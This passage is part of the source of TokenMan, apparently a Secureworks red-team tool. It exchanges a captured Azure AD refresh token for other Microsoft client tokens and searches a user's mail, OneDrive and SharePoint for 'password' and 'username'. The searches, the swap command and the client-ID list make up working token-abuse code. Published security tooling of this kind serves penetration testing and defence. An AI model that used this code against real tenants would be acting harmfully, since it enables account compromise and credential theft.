32 | keywords: List[str] = utils.SEARCH_KEYWORDS,
33 | proxies: Dict[str, str] = None,
34 | ) -> Dict[str, Any]:
35 | """Search messages files via Graph API accessible by the given user
36 | https://docs.microsoft.com/en-us/graph/search-concept-files
37 |
38 | :param access_token: access token
39 | :param keywords: list of keywords to search
40 | :param proxies: http request proxy
41 | :returns: search results
42 | """
43 | search = " OR ".join(keywords) # KQL logical OR
44 | return self.msgraph_search(
45 | self,
46 | entity_types=["message"],
47 | search=search,
48 | access_token=access_token,
49 | proxies=proxies,
50 | )
51 |
52 | @classmethod
53 | def search(
54 | cls,
55 | state: RunState,
56 | keywords: List[str] = utils.SEARCH_KEYWORDS,
57 | ):
58 | """Search messages files via Graph API
59 |
60 | :param state: run state
61 | :param search: search term
62 | """
63 | # Check if we have an access token for Office
64 | if not cls.check_token(
65 | cls,
66 | state.token_cache.access_token_payload,
67 | "Microsoft Office",
68 | ):
69 | if not state.token_cache.refresh_token:
70 | logging.error("No refresh token found to perform token exchange")
71 | return
72 |
73 | logging.debug(f"Acquiring new token for: 'Microsoft Office'")
74 |
75 | # Acquire a new token specific for Office
76 | new_token = cls.acquire_token(
77 | cls,
78 | refresh_token=state.token_cache.refresh_token,
79 | client_name="Microsoft Office",
80 | proxies=state.proxies,
81 | )
82 |
83 | # Handle invalid token
84 | if not new_token:
85 | logging.error("Could not exchange for new token")
86 | return
87 |
88 | # Update state access token
89 | state.token_cache.access_token = new_token["access_token"]
90 | state.token_cache.refresh_token = new_token["refresh_token"]
91 |
92 | logging.info(f"Searching 'messages' for: {keywords}")
93 |
94 | # Search content for keywords
95 | results = cls._search(
96 | cls,
97 | access_token=state.token_cache.access_token,
98 | keywords=keywords,
99 | proxies=state.proxies,
100 | )
101 | total_results = len(results["value"])
102 | logging.info(f"\tSearch Results: {total_results}")
103 |
104 | # If search results found, write to output file
105 | if total_results > 0:
106 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
107 | filename = state.output / f"search.messages.{utc_now}.json"
108 | logging.info(f"\tOutput: {filename}")
109 |
110 | cls.write_json(
111 | cls,
112 | filename=filename,
113 | data=results,
114 | )
115 |
--------------------------------------------------------------------------------
/tokenman/search/onedrive.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman import utils
19 | from tokenman.module import ModuleBase
20 | from tokenman.state import RunState
21 | from typing import Any
22 | from typing import List
23 | from typing import Dict
24 |
25 |
26 | class OneDrive(ModuleBase):
27 | """OneDrive search class"""
28 |
29 | def _search(
30 | self,
31 | access_token: str,
32 | keywords: List[str] = utils.SEARCH_KEYWORDS,
33 | proxies: Dict[str, str] = None,
34 | ) -> Dict[str, Any]:
35 | """Search OneDrive files via Graph API accessible by the given user
36 |
37 | :param access_token: access token
38 | :param keywords: list of keywords to search
39 | :param proxies: http request proxy
40 | :returns: search results
41 | """
42 | search = " OR ".join(keywords) # KQL logical OR
43 | return self.msgraph_fetch(
44 | self,
45 | path=f"me/drive/search(q='{search}')",
46 | access_token=access_token,
47 | proxies=proxies,
48 | )
49 |
50 | @classmethod
51 | def search(
52 | cls,
53 | state: RunState,
54 | keywords: List[str] = utils.SEARCH_KEYWORDS,
55 | ):
56 | """Search OneDrive files via Graph API
57 |
58 | :param state: run state
59 | :param search: search term
60 | """
61 | # Check if we have an access token for Office
62 | if not cls.check_token(
63 | cls,
64 | state.token_cache.access_token_payload,
65 | "Microsoft Office",
66 | ):
67 | if not state.token_cache.refresh_token:
68 | logging.error("No refresh token found to perform token exchange")
69 | return
70 |
71 | logging.debug(f"Acquiring new token for: 'Microsoft Office'")
72 |
73 | # Acquire a new token specific for Office
74 | new_token = cls.acquire_token(
75 | cls,
76 | refresh_token=state.token_cache.refresh_token,
77 | client_name="Microsoft Office",
78 | proxies=state.proxies,
79 | )
80 |
81 | # Handle invalid token
82 | if not new_token:
83 | logging.error("Could not exchange for new token")
84 | return
85 |
86 | # Update state access token
87 | state.token_cache.access_token = new_token["access_token"]
88 | state.token_cache.refresh_token = new_token["refresh_token"]
89 |
90 | logging.info(f"Searching 'OneDrive' for: {keywords}")
91 |
92 | # Search content for keywords
93 | results = cls._search(
94 | cls,
95 | access_token=state.token_cache.access_token,
96 | keywords=keywords,
97 | proxies=state.proxies,
98 | )
99 | total_results = len(results["value"])
100 | logging.info(f"\tSearch Results: {total_results}")
101 |
102 | # If search results found, write to output file
103 | if total_results > 0:
104 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
105 | filename = state.output / f"search.onedrive.{utc_now}.json"
106 | logging.info(f"\tOutput: {filename}")
107 |
108 | cls.write_json(
109 | cls,
110 | filename=filename,
111 | data=results,
112 | )
113 |
--------------------------------------------------------------------------------
/tokenman/search/search.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman import utils
16 | from tokenman.search.messages import Messages
17 | from tokenman.search.onedrive import OneDrive
18 | from tokenman.search.sharepoint import SharePoint
19 | from tokenman.state import RunState
20 | from typing import List
21 |
22 |
23 | class Search:
24 | """Search command handler"""
25 |
26 | @classmethod
27 | def run(
28 | cls,
29 | state: RunState,
30 | modules: List[str],
31 | keywords: List[str] = utils.SEARCH_KEYWORDS,
32 | ):
33 | """Run the 'search' command
34 |
35 | :param state: run state
36 | :param modules: search modules to run
37 | :param keywords: keywords to search for
38 | """
39 | # Run each module based on the provided flag data from the user
40 | if any(m in modules for m in ["messages"]):
41 | Messages.search(state=state, keywords=keywords)
42 |
43 | if any(m in modules for m in ["onedrive"]):
44 | OneDrive.search(state=state, keywords=keywords)
45 |
46 | # Perform this last in case 'all' modules are run, as this module
47 | # requires a different access token
48 | if any(m in modules for m in ["sharepoint"]):
49 | SharePoint.search(state=state, keywords=keywords)
50 |
--------------------------------------------------------------------------------
/tokenman/search/sharepoint.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman import utils
19 | from tokenman.module import ModuleBase
20 | from tokenman.state import RunState
21 | from typing import Any
22 | from typing import List
23 | from typing import Dict
24 |
25 |
26 | class SharePoint(ModuleBase):
27 | """SharePoint search class"""
28 |
29 | def _search(
30 | self,
31 | access_token: str,
32 | keywords: List[str] = utils.SEARCH_KEYWORDS,
33 | proxies: Dict[str, str] = None,
34 | ) -> Dict[str, Any]:
35 | """Search SharePoint files via Graph API accessible by the given user
36 | https://docs.microsoft.com/en-us/graph/search-concept-files
37 |
38 | :param access_token: access token
39 | :param keywords: list of keywords to search
40 | :param proxies: http request proxy
41 | :returns: search results
42 | """
43 | search = " OR ".join(keywords) # KQL logical OR
44 | return self.msgraph_search(
45 | self,
46 | entity_types=["driveItem", "listItem", "list"],
47 | search=search,
48 | access_token=access_token,
49 | proxies=proxies,
50 | )
51 |
52 | @classmethod
53 | def search(
54 | cls,
55 | state: RunState,
56 | keywords: List[str] = utils.SEARCH_KEYWORDS,
57 | ):
58 | """Search SharePoint files via Graph API
59 |
60 | :param state: run state
61 | :param search: search term
62 | """
63 | # Check if we have an access token for SharePoint
64 | if not cls.check_token(
65 | cls,
66 | state.token_cache.access_token_payload,
67 | "SharePoint",
68 | ):
69 | if not state.token_cache.refresh_token:
70 | logging.error("No refresh token found to perform token exchange")
71 | return
72 |
73 | logging.debug(f"Acquiring new token for: 'SharePoint'")
74 |
75 | # Acquire a new token specific for SharePoint
76 | new_token = cls.acquire_token(
77 | cls,
78 | refresh_token=state.token_cache.refresh_token,
79 | client_name="SharePoint",
80 | proxies=state.proxies,
81 | )
82 |
83 | # Handle invalid token
84 | if not new_token:
85 | logging.error("Could not exchange for new token")
86 | return
87 |
88 | # Update state access token
89 | state.token_cache.access_token = new_token["access_token"]
90 | state.token_cache.refresh_token = new_token["refresh_token"]
91 |
92 | logging.info(f"Searching 'SharePoint' for: {keywords}")
93 |
94 | # Search content for keywords
95 | results = cls._search(
96 | cls,
97 | access_token=state.token_cache.access_token,
98 | keywords=keywords,
99 | proxies=state.proxies,
100 | )
101 | total_results = len(results["value"])
102 | logging.info(f"\tSearch Results: {total_results}")
103 |
104 | # If search results found, write to output file
105 | if total_results > 0:
106 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
107 | filename = state.output / f"search.sharepoint.{utc_now}.json"
108 | logging.info(f"\tOutput: {filename}")
109 |
110 | cls.write_json(
111 | cls,
112 | filename=filename,
113 | data=results,
114 | )
115 |
--------------------------------------------------------------------------------
/tokenman/state.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from pathlib import Path
16 | from tokenman.cache import TokenCache
17 |
18 |
19 | class RunState:
20 | """Run state management"""
21 |
22 | def __init__(
23 | self,
24 | token_cache: TokenCache,
25 | output: Path,
26 | proxy: str = None,
27 | ):
28 | """Initialize run state
29 |
30 | Maintain a state of the current AAD token cache,
31 | as well as proxy and output settings for the run.
32 |
33 | :param token_cache: token cache
34 | :param output: output directory object
35 | :param proxy: http proxy url
36 | """
37 | self.token_cache = token_cache
38 | self.output = output
39 |
40 | self.proxies = None
41 | if proxy:
42 | self.proxies = {"http": proxy, "https": proxy}
43 |
--------------------------------------------------------------------------------
/tokenman/swap/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.swap.swap import Swap
16 |
--------------------------------------------------------------------------------
/tokenman/swap/swap.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import List
21 |
22 |
23 | class Swap(ModuleBase):
24 | """Swap command handler"""
25 |
26 | @classmethod
27 | def run(
28 | cls,
29 | state: RunState,
30 | client_id: str,
31 | resource: str,
32 | scope: List[str],
33 | ):
34 | """Run the 'swap' command
35 |
36 | :param state: run state
37 | :param client_id: client id to exchange token for
38 | :param resource: token audience
39 | :param scope: token scope
40 | """
41 | if not state.token_cache.refresh_token:
42 | logging.error("No refresh token found to perform token exchange")
43 | return
44 |
45 | logging.info(f"Acquiring new token for: '{client_id}'")
46 |
47 | # Acquire a new token specific for Office
48 | new_token = cls.acquire_token(
49 | cls,
50 | refresh_token=state.token_cache.refresh_token,
51 | client_id=client_id,
52 | resource=resource,
53 | scope=scope,
54 | proxies=state.proxies,
55 | )
56 |
57 | # Handle invalid token
58 | if not new_token:
59 | logging.error("No access token retrieved")
60 | return
61 |
62 | state.token_cache.access_token = new_token["access_token"]
63 | state.token_cache.refresh_token = new_token["refresh_token"]
64 |
65 | # Get UPN from token if possible, fail over to 'token'
66 | upn = (
67 | state.token_cache.access_token_payload.get("unique_name", None)
68 | or state.token_cache.access_token_payload.get("upn", None)
69 | or "token"
70 | )
71 |
72 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
73 | filename = state.output / f"{upn}.{client_id}.{utc_now}.json"
74 | logging.info(f"\tOutput: {filename}")
75 |
76 | cls.write_json(
77 | cls,
78 | filename=filename,
79 | data=new_token,
80 | )
81 |
82 | # Only for the 'swap' command, output retrieved data, specifically the
83 | # new access token for ease of use
84 | logging.info(f'\tAccess Token:\n\n{new_token["access_token"]}')
85 |
--------------------------------------------------------------------------------
/tokenman/utils.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | # fmt: off
16 |
17 | import base64
18 | import json
19 | import jwt # type: ignore
20 | import logging
21 | import sys
22 | from colorama import init # type: ignore
23 | from colorama import Fore # type: ignore
24 | from tokenman import __version__
25 | from typing import Any
26 | from typing import Dict
27 |
28 |
29 | # Init colorama to switch between Windows and Linux
30 | if sys.platform == "win32":
31 | init(convert=True)
32 |
33 |
34 | FETCH_MODULES = [
35 | "applications",
36 | "drives",
37 | "emails",
38 | "groups",
39 | "organizations",
40 | "serviceprincipals",
41 | "users",
42 | ]
43 |
44 | SEARCH_MODULES = [
45 | "messages",
46 | "onedrive",
47 | "sharepoint",
48 | ]
49 |
50 | # Default search keywords
51 | SEARCH_KEYWORDS = [
52 | "password",
53 | "username",
54 | ]
55 |
56 | # FOCI application client ID map
57 | FOCI_CLIENT_IDS = {
58 | "Accounts Control UI": "a40d7d7d-59aa-447e-a655-679a4107e548",
59 | "Microsoft Authenticator App": "4813382a-8fa7-425e-ab75-3b753aab3abb",
60 | "Microsoft Azure CLI": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
61 | "Microsoft Azure PowerShell": "1950a258-227b-4e31-a9cf-717495945fc2",
62 | "Microsoft Bing Search for Microsoft Edge": "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8",
63 | "Microsoft Bing Search": "cf36b471-5b44-428c-9ce7-313bf84528de",
64 | "Microsoft Edge": "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34",
65 | "Microsoft Edge (1)": "e9c51622-460d-4d3d-952d-966a5b1da34c",
66 | "Microsoft Edge AAD BrokerPlugin": "ecd6b820-32c2-49b6-98a6-444530e5a77a",
67 | "Microsoft Flow": "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",
68 | "Microsoft Intune Company Portal": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
69 | "Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
70 | "Microsoft Planner": "66375f6b-983f-4c2c-9701-d680650f588f",
71 | "Microsoft Power BI": "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12",
72 | "Microsoft Stream Mobile Native": "844cca35-0656-46ce-b636-13f48b0eecbd",
73 | "Microsoft Teams - Device Admin Agent": "87749df4-7ccf-48f8-aa87-704bad0e0e16",
74 | "Microsoft Teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
75 | "Microsoft To-Do client": "22098786-6e16-43cc-a27d-191a01a1e3b5",
76 | "Microsoft Tunnel": "eb539595-3fe1-474e-9c1d-feb3625d1be5",
77 | "Microsoft Whiteboard Client": "57336123-6e14-4acc-8dcf-287b6088aa28",
78 | "Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2",
79 | "Office UWP PWA": "0ec893e0-5785-4de6-99da-4ed124e5296c",
80 | "OneDrive iOS App": "af124e86-4e96-495a-b70a-90f90ab96707",
81 | "OneDrive SyncEngine": "ab9b8c07-8f02-4f72-87fa-80105867a763",
82 | "OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74",
83 | "Outlook Mobile": "27922004-5251-4030-b22d-91ecd9a37ea4",
84 | "PowerApps": "4e291c71-d680-4d0e-9640-0a3358e31177",
85 | "SharePoint Android": "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d",
86 | "SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0",
87 | "Visual Studio": "872cd9fa-d31f-45e0-9eab-6e460a02d1f1",
88 | "Windows Search": "26a7ee05-5602-4d76-a7ba-eae8b7b67941",
89 | "Yammer iPhone": "a569458c-7f2b-45cb-bab9-b7dee514d112",
90 | }
91 |
92 | BANNER = f"""
93 | :
94 | t#, G: ,;L. L.
95 | ;##W. E#, : f#i EW: ,ft {Fore.RED} {Fore.RESET} EW: ,ft
96 | GEEEEEEEL :#L:WE E#t .GE .E#t E##; t#E {Fore.RED} .. :{Fore.RESET} .. E##; t#E
97 | ,;;L#K;;. .KG ,#D E#t j#K; i#W, E###t t#E {Fore.RED} ,W, .Et{Fore.RESET} ;W, E###t t#E
98 | t#E EE ;#f E#GK#f L#D. E#fE#f t#E {Fore.RED} t##, ,W#t{Fore.RESET} j##, E#fE#f t#E
99 | t#E f#. t#i E##D. :K#Wfff; E#t D#G t#E {Fore.RED} L###, j###t{Fore.RESET} G###, E#t D#G t#E
100 | t#E :#G GK E##Wi i##WLLLLt E#t f#E. t#E {Fore.RED} .E#j##, G#fE#t{Fore.RESET} :E####, E#t f#E. t#E
101 | t#E ;#L LW. E#jL#D: .E#L E#t t#K: t#E {Fore.RED} ;WW; ##,:K#i E#t{Fore.RESET} ;W#DG##, E#t t#K: t#E
102 | t#E t#f f#: E#t ,K#j f#E: E#t ;#W,t#E {Fore.RED} j#E. ##f#W, E#t{Fore.RESET} j###DW##, E#t ;#W,t#E
103 | t#E f#D#; E#t jD ,WW; E#t :K#D#E {Fore.RED} .D#L ###K: E#t{Fore.RESET} G##i,,G##, E#t :K#D#E
104 | t#E G#t j#t .D#; E#t .E##E {Fore.RED}:K#t ##D. E#t{Fore.RESET} :K#K: L##, E#t .E##E
105 | fE t ,; tt .. G#E {Fore.RED}... #G ...{Fore.RESET};##D. L##, .. G#E
106 | : fE {Fore.RED} j {Fore.RESET},,, .,, fE
107 | , {Fore.RED} {Fore.RESET} ,
108 | v{__version__}
109 |
110 | """
111 |
112 | class bcolors:
113 | """Color codes for colorized terminal output"""
114 |
115 | HEADER = Fore.MAGENTA
116 | OKBLUE = Fore.BLUE
117 | OKCYAN = Fore.CYAN
118 | OKGREEN = Fore.GREEN
119 | WARNING = Fore.YELLOW
120 | FAIL = Fore.RED
121 | ENDC = Fore.RESET
122 |
123 |
124 | class LoggingLevels:
125 | CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit"
126 | WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn"
127 | DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug"
128 | ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail"
129 | INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info"
130 |
131 |
132 | def init_logger(debug: bool):
133 | """Initialize program logging
134 |
135 | :param debug: debug enabled/disabled
136 | """
137 | if debug:
138 | logging_level = logging.DEBUG
139 | logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s")
140 | else:
141 | logging_level = logging.INFO
142 | logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s"
143 |
144 | logging.basicConfig(format=logging_format, level=logging_level)
145 |
146 | # Handle color output
147 | logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL)
148 | logging.addLevelName(logging.WARNING, LoggingLevels.WARNING)
149 | logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG)
150 | logging.addLevelName(logging.ERROR, LoggingLevels.ERROR)
151 | logging.addLevelName(logging.INFO, LoggingLevels.INFO)
152 |
153 | def pad_base64(data: str) -> str:
154 | """Pad a Base64 string
155 |
156 | :param data: base64 encoded string
157 | :returns: padded base64 encoded string
158 | """
159 | data = data + ("=" * (4 - (len(data) % 4)))
160 | return data
161 |
162 | def base64_to_json(data: str) -> Dict[Any, Any]:
163 | """Base64 decode JSON string and convert to Python
164 | dictionary
165 |
166 | Leave error handling to the calling functions for
167 | more clear error output
168 |
169 | :param data: base64 encoded string
170 | :returns: json dictionary
171 | """
172 | data = base64.b64decode(data)
173 | data = json.loads(data)
174 | return data
175 |
176 | def decode_jwt(token: str) -> Dict[Any, Any]:
177 | """Decode access token JWT
178 |
179 | Leave error handling to the calling functions for
180 | more clear error output
181 |
182 | :param token: access token
183 | :returns: decoded jwt payload
184 | """
185 | payload = jwt.decode(
186 | token,
187 | algorithms=["RS256"],
188 | options={"verify_signature": False}
189 | )
190 | return payload
191 |
--------------------------------------------------------------------------------